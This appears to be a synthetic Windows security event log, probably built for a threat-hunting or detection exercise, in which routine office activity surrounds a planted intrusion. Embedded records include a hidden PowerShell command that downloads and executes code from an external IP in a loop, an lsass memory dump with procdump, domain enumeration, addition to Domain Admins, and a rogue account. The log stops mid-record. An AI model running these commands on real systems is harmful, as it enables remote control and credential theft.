-{"@timestamp":"2026-03-15T07:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:51:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:52:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"rdpclip.exe","command_line":"powershell.exe Get-Process | Sort-Object CPU -Descending | Select-Object -First 10","description":"Legitimate admin PS command via RDP","category":"Process"} -{"@timestamp":"2026-03-15T07:53:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.52","dst_port":445,"protocol":"SMB","description":"DC replication SMB to APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T07:54:00.000Z","event_id":4624,"host":"DC01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to DC01 for GPO","category":"Authentication"} -{"@timestamp":"2026-03-15T07:55:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:56:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:57:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:58:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":443,"protocol":"TCP","description":"Monitoring health check HTTPS","category":"Network"} -{"@timestamp":"2026-03-15T07:59:00.000Z","event_id":4624,"host":"APP-SRV01","user":"f.petit","logon_type":3,"source_ip":"192.168.10.48","description":"Network logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T08:00:00.000Z","event_id":4688,"host":"APP-SRV01","user":"f.petit","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:02:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:05:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:06:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Exchange Online connection","category":"Network"} -{"@timestamp":"2026-03-15T08:08:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:11:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":3,"source_ip":"192.168.10.50","description":"Network logon from monitoring server","category":"Authentication"} -{"@timestamp":"2026-03-15T08:12:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":389,"protocol":"LDAP","description":"LDAP query from p.bernard workstation","category":"Network"} -{"@timestamp":"2026-03-15T08:15:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE rapport_ventes_mars.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:16:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:18:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:20:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"rdpclip.exe","command_line":"powershell.exe Restart-Service -Name W3SVC","description":"IIS restart via PowerShell","category":"Process"} -{"@timestamp":"2026-03-15T08:22:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":8080,"protocol":"TCP","description":"HTTP inbound request","category":"Network"} -{"@timestamp":"2026-03-15T08:24:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"j.dupont","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon j.dupont","category":"Authentication"} -{"@timestamp":"2026-03-15T08:25:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:26:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"powershell.exe","command_line":"powershell.exe -NoP -NonI -W Hidden -c \"$c=[System.Net.WebClient]::new();while($true){$r=$c.DownloadString('http://185.243.115.23/cmd');if($r -ne ''){Invoke-Expression $r};Start-Sleep 300}\"","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:32:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:35:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"repadmin.exe","parent_process":"cmd.exe","command_line":"repadmin /replsummary","description":"Replication status check by admin","category":"Process"} -{"@timestamp":"2026-03-15T08:37:00.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service account periodic logon","category":"Authentication"} -{"@timestamp":"2026-03-15T08:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:42:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos TGT renewal","category":"Network"} -{"@timestamp":"2026-03-15T08:44:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T08:46:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"msedge.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --new-window","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:48:00.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to APP-SRV01","category":"Authentication"} -{"@timestamp":"2026-03-15T08:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T08:52:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":8080,"protocol":"TCP","description":"Monitoring health check","category":"Network"} -{"@timestamp":"2026-03-15T08:54:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\a.leclerc\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T08:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Teams telemetry outbound","category":"Network"} -{"@timestamp":"2026-03-15T09:00:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:02:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:04:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"m.martin","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T09:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:08:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Outlook Exchange Online","category":"Network"} -{"@timestamp":"2026-03-15T09:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:12:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"cmd.exe","parent_process":"services.exe","command_line":"cmd.exe /c net localgroup administrators","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:14:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net user /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:16:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net group \"Domain Admins\" /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:18:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:22:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":2,"source_ip":"192.168.10.20","description":"Admin interactive logon DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T09:24:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADGroupMember 'Domain Admins'","description":"Legitimate admin AD query","category":"Process"} -{"@timestamp":"2026-03-15T09:26:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.52","dst_port":389,"protocol":"LDAP","description":"LDAP query from APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T09:28:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:32:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE tableau_bord.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:34:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from workstation","category":"Network"} -{"@timestamp":"2026-03-15T09:36:00.000Z","event_id":4624,"host":"APP-SRV01","user":"f.petit","logon_type":3,"source_ip":"192.168.10.48","description":"Network logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T09:38:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T09:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:42:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:44:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"dcdiag.exe","parent_process":"cmd.exe","command_line":"dcdiag /test:replications","description":"DC diagnostic run by admin","category":"Process"} -{"@timestamp":"2026-03-15T09:46:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":443,"protocol":"TCP","description":"Monitoring HTTPS inbound","category":"Network"} -{"@timestamp":"2026-03-15T09:48:12.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_backup","logon_type":10,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T09:48:30.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"cmd.exe","parent_process":"rdpclip.exe","command_line":"cmd.exe /c whoami /all","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:49:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:49:01.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"procdump.exe","parent_process":"cmd.exe","command_line":"procdump.exe -accepteula -ma lsass.exe C:\\Windows\\Temp\\mem.dmp","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:49:30.000Z","event_id":10,"host":"APP-SRV01","user":"svc_backup","source_process":"procdump.exe","target_process":"lsass.exe","call_trace":"C:\\Windows\\SYSTEM32\\ntdll.dll+MiniDumpWriteDump","description":"Process accessed","category":"Process"} -{"@timestamp":"2026-03-15T09:50:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:52:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:54:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T09:55:22.000Z","event_id":4769,"host":"DC01","user":"svc_backup","service_name":"krbtgt","ticket_encryption":"0x12","ticket_options":"0x40810010","client_ip":"192.168.10.52","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:55:23.000Z","event_id":4769,"host":"DC01","user":"svc_backup","service_name":"cifs/DC01","ticket_encryption":"0x12","ticket_options":"0x40800010","client_ip":"192.168.10.52","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T09:56:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net view /domain:CORP","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T09:58:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos request to DC01","category":"Network"} -{"@timestamp":"2026-03-15T10:00:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:02:14.000Z","event_id":4728,"host":"DC01","user":"svc_backup","target_user_sid":"S-1-5-21-1180699209-877415012-3182924384-1107","group_name":"Domain Admins","description":"A member was added to a security-enabled global group","category":"GroupManagement"} -{"@timestamp":"2026-03-15T10:02:15.000Z","event_id":4764,"host":"DC01","user":"svc_backup","group_name":"Domain Admins","description":"A group's type was changed","category":"GroupManagement"} -{"@timestamp":"2026-03-15T10:03:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:04:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T10:05:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:07:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net group \"Enterprise Admins\" /domain","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:08:44.000Z","event_id":4720,"host":"DC01","user":"svc_backup","new_account":"svc_update$","description":"A user account was created","category":"AccountManagement"} -{"@timestamp":"2026-03-15T10:08:46.000Z","event_id":4742,"host":"DC01","user":"svc_backup","target_account":"svc_update$","description":"A computer account was changed","category":"AccountManagement"} -{"@timestamp":"2026-03-15T10:08:48.000Z","event_id":5136,"host":"DC01","user":"svc_backup","object_dn":"CN=svc_update$,CN=Users,DC=CORP,DC=LOCAL","attribute_ldap":"servicePrincipalName","attribute_value":"HOST/svc_update$.corp.local","description":"A directory service object was modified","category":"DirectoryService"} -{"@timestamp":"2026-03-15T10:09:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:10:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:12:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-EventLog -LogName Security -Newest 50","description":"Legitimate admin event log check","category":"Process"} -{"@timestamp":"2026-03-15T10:14:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:16:00.000Z","event_id":4624,"host":"APP-SRV01","user":"m.martin","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T10:18:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.52","dst_port":445,"protocol":"SMB","description":"DC replication to APP-SRV01","category":"Network"} -{"@timestamp":"2026-03-15T10:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:22:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:24:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\p.bernard\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:26:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:28:00.000Z","event_id":4624,"host":"DC01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T10:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:32:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:34:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":636,"protocol":"LDAPS","description":"Secure LDAP monitoring inbound","category":"Network"} -{"@timestamp":"2026-03-15T10:36:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T10:38:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from p.bernard","category":"Network"} -{"@timestamp":"2026-03-15T10:40.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:42:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"eventvwr.msc","parent_process":"mmc.exe","command_line":"eventvwr.msc","description":"Event Viewer opened by admin","category":"Process"} -{"@timestamp":"2026-03-15T10:44:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:46:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"f.petit","logon_type":2,"source_ip":"192.168.10.48","description":"Interactive logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T10:48:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:50:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:52:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T10:54:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-Service | Format-Table -AutoSize","description":"Legitimate admin command","category":"Process"} -{"@timestamp":"2026-03-15T10:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T10:58:00.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T11:00:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:02:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:04:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T11:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE suivi_projet.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:08:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:10:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":3,"source_ip":"192.168.10.20","description":"Admin network logon to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T11:12:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:14:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.48","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from f.petit workstation","category":"Network"} -{"@timestamp":"2026-03-15T11:16:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:18:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADComputer -Filter * | Select-Object Name,OperatingSystem","description":"Legitimate admin AD 